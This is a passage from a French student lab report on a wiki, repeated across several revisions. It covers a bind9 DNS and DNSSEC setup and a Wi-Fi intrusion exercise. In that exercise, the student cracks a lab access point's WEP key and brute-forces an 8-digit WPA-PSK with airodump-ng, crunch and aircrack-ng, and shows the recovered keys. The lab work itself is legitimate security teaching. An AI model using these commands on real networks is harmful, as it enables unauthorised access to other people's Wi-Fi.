Cela permet d’associer l’adresse '''IPv4''' de la machine mandataire et l’adresse '''IPv6''' de ma machine de services aux serveurs de noms du domaine.

* ns.tompere2.xyz
** IPv4 : <code>193.48.57.168</code>
** IPv6 : <code>2001:660:4401:60a0:216:3eff:fe3f:9410</code>

=== DNSSEC ===
Pour sécuriser le DNS et avoir un site en HTTPS, nous devons apporter quelques modifications au fichier <code>/etc/bind/named.conf.local</code>.

En effet, nous allons rajouter ces lignes dans <code>zone "tompere2.xyz"</code> <syntaxhighlight>
notify yes; // Notification des secondaires
key-directory "/etc/bind/keys"; //repertoire des keys
dnssec-policy "dnspol"; //utilisation d'une politique DNSSEC
inline-signing yes; //activation de la signature automatique
</syntaxhighlight>De plus, il faut ajouter<syntaxhighlight>
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
</syntaxhighlight>Ces lignes servent à définir une '''politique de signature'''. Cela indique quelles clés utiliser (KSK/ZSK), leur durée de vie et l’algorithme de signature.

Les clés vont être créer automatiquement au redémarrage de bind, mais il faut pour cela créer un dossier <code>/bind/keys</code><syntaxhighlight>
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Enfin, nous pouvons redémarrer bind pour vérifier la création des clés.<syntaxhighlight>
systemctl restart named
systemctl enable named
</syntaxhighlight>Les clés sont biens générées !

Il faut désormais '''copier la clé publique''' (.key) sur '''Gandi'''.

Dans mon cas, j'avais 2 clés publiques .key, donc j'ai copié ces deux clés sur Gandi, mais comme nous allons voir, une seule est utile.

Pour mieux visualiser le déploiement de notre DNS, nous pouvons utiliser deux sites bien utiles :
*https://dnschecker.org/
*https://dnsviz.net/

Le premier site, DNSChecker, nous informe si la propagation de notre DNS a eu lieu.
Dans le cas de tompere2.xyz, on voit que c'est bon, aussi bien en IPv4 qu'en IPv6

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.
[[Fichier:Mon site web.png|néant|vignette|Photo de mon site tompere2.xyz]]

== Fail2Ban ==

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-10T23:21:32Z

Tmerien : /* DNSSEC */

== Machines virtuelles ==

== Configuration réseau ==

== DNS/DNSSEC ==

=== Prérequis ===
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

=== Configuration du paquetage bind9 ===
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>.

Ensuite, il faut configurer un fichier de zone : <code>/etc/bind/zones/tompere2_xyz/tompere2.xyz</code>.<syntaxhighlight>
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)

; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.

; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410

; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168

; CNAME records
www IN CNAME tompere2.xyz.
</syntaxhighlight>Nous avons choisi '''ns''' comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section '''External Nameservers''' de Gandi.

Concernant l'adresse '''IPv4''', <code>193.48.57.168</code> est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.

Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel.

La syntaxe de ce fichier doit être précise, ainsi, il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>.

Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.

Maintenant, modifions le fichier <code>/etc/bind/named.conf.local</code><syntaxhighlight>
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };

};

acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.

=== Glue Record ===
Pour que le domaine soit accessible depuis Internet, j’ai ajouté un '''Glue Record''' sur '''Gandi'''.

Cela permet d’associer l’adresse '''IPv4''' de la machine mandataire et l’adresse '''IPv6''' de ma machine de services aux serveurs de noms du domaine.

* ns.tompere2.xyz
** IPv4 : <code>193.48.57.168</code>
** IPv6 : <code>2001:660:4401:60a0:216:3eff:fe3f:9410</code>

=== DNSSEC ===
Pour sécuriser le DNS et avoir un site en HTTPS, nous devons apporter quelques modifications au fichier <code>/etc/bind/named.conf.local</code>.

En effet, nous allons rajouter ces lignes dans <code>zone "tompere2.xyz"</code> <syntaxhighlight>
notify yes; // Notification des secondaires
key-directory "/etc/bind/keys"; //repertoire des keys
dnssec-policy "dnspol"; //utilisation d'une politique DNSSEC
inline-signing yes; //activation de la signature automatique
</syntaxhighlight>De plus, il faut ajouter<syntaxhighlight>
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
</syntaxhighlight>Ces lignes servent à définir une '''politique de signature'''. Cela indique quelles clés utiliser (KSK/ZSK), leur durée de vie et l’algorithme de signature.

Les clés vont être créer automatiquement au redémarrage de bind, mais il faut pour cela créer un dossier <code>/bind/keys</code><syntaxhighlight>
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Enfin, nous pouvons redémarrer bind pour vérifier la création des clés.<syntaxhighlight>
systemctl restart named
systemctl enable named
</syntaxhighlight>Les clés sont biens générées !

Il faut désormais '''copier la clé publique''' (.key) sur '''Gandi'''.

Dans mon cas, j'avais 2 clés publiques .key, donc j'ai copié ces deux clés sur Gandi, mais comme nous allons voir, une seule est utile.

Pour mieux visualiser le déploiement de notre DNS, nous pouvons utiliser deux sites bien utiles :
*https://dnschecker.org/
*https://dnsviz.net/

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.
[[Fichier:Mon site web.png|néant|vignette|Photo de mon site tompere2.xyz]]

== Fail2Ban ==

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-10T23:20:33Z

Tmerien : /* Déployer le DNS */

== Machines virtuelles ==

== Configuration réseau ==

== DNS/DNSSEC ==

=== Prérequis ===
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

=== Configuration du paquetage bind9 ===
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>.

Ensuite, il faut configurer un fichier de zone : <code>/etc/bind/zones/tompere2_xyz/tompere2.xyz</code>.<syntaxhighlight>
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)

; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.

; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410

; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168

; CNAME records
www IN CNAME tompere2.xyz.
</syntaxhighlight>Nous avons choisi '''ns''' comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section '''External Nameservers''' de Gandi.

Concernant l'adresse '''IPv4''', <code>193.48.57.168</code> est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.

Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel.

La syntaxe de ce fichier doit être précise, ainsi, il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>.

Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.

Maintenant, modifions le fichier <code>/etc/bind/named.conf.local</code><syntaxhighlight>
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };

};

acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.

=== Glue Record ===
Pour que le domaine soit accessible depuis Internet, j’ai ajouté un '''Glue Record''' sur '''Gandi'''.

Cela permet d’associer l’adresse '''IPv4''' de la machine mandataire et l’adresse '''IPv6''' de ma machine de services aux serveurs de noms du domaine.

* ns.tompere2.xyz
** IPv4 : <code>193.48.57.168</code>
** IPv6 : <code>2001:660:4401:60a0:216:3eff:fe3f:9410</code>

=== DNSSEC ===
Pour sécuriser le DNS et avoir un site en HTTPS, nous devons apporter quelques modifications au fichier <code>/etc/bind/named.conf.local</code>.

En effet, nous allons rajouter ces lignes dans <code>zone "tompere2.xyz"</code> <syntaxhighlight>
notify yes; // Notification des secondaires
key-directory "/etc/bind/keys"; //repertoire des keys
dnssec-policy "dnspol"; //utilisation d'une politique DNSSEC
inline-signing yes; //activation de la signature automatique
</syntaxhighlight>De plus, il faut ajouter<syntaxhighlight>
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
</syntaxhighlight>Ces lignes servent à définir une '''politique de signature'''. Cela indique quelles clés utiliser (KSK/ZSK), leur durée de vie et l’algorithme de signature.

Les clés vont être créer automatiquement au redémarrage de bind, mais il faut pour cela créer un dossier <code>/bind/keys</code><syntaxhighlight>
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Enfin, nous pouvons redémarrer bind pour vérifier la création des clés.<syntaxhighlight>
systemctl restart named
systemctl enable named
</syntaxhighlight>Les clés sont biens générées !

Il faut désormais '''copier la clé publique''' (.key) sur '''Gandi'''.

Dans mon cas, j'avais 2 clés publiques .key, donc j'ai copié ces deux clés sur Gandi, mais comme nous allons voir, une seule est utile.

Pour mieux visualiser le déploiement de notre DNS, nous pouvons utiliser deux sites bien utiles :

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.
[[Fichier:Mon site web.png|néant|vignette|Photo de mon site tompere2.xyz]]

== Fail2Ban ==

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-10T22:54:48Z

Tmerien : /* Déployer le DNS */

== Machines virtuelles ==

== Configuration réseau ==

== DNS/DNSSEC ==

==== Prérequis ====
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

==== Configuration du paquetage bind9 ====
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>.

Ensuite, il faut configurer un fichier de zone : <code>/etc/bind/zones/tompere2_xyz/tompere2.xyz</code>.<syntaxhighlight>
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)

; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.

; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410

; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168

; CNAME records
www IN CNAME tompere2.xyz.
</syntaxhighlight>Nous avons choisi '''ns''' comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section '''External Nameservers''' de Gandi.

Concernant l'adresse '''IPv4''', <code>193.48.57.168</code> est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.

Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel.

La syntaxe de ce fichier doit être précise, ainsi, il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>.

Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.

Maintenant, modifions le fichier <code>/etc/bind/named.conf.local</code><syntaxhighlight>
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };

};

acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.

==== Déployer le DNS ====
Pour que le domaine soit accessible depuis Internet, j’ai ajouté un '''Glue Record''' sur '''Gandi'''.

Cela permet d’associer l’adresse '''IPv4''' de la machine mandataire et l’adresse '''IPv6''' de ma machine de services aux serveurs de noms du domaine.

* ns.tompere2.xyz
** IPv4 : <code>193.48.57.168</code>
** IPv6 : <code>2001:660:4401:60a0:216:3eff:fe3f:9410</code>

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.
[[Fichier:Mon site web.png|néant|vignette|Photo de mon site tompere2.xyz]]

== Fail2Ban ==

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

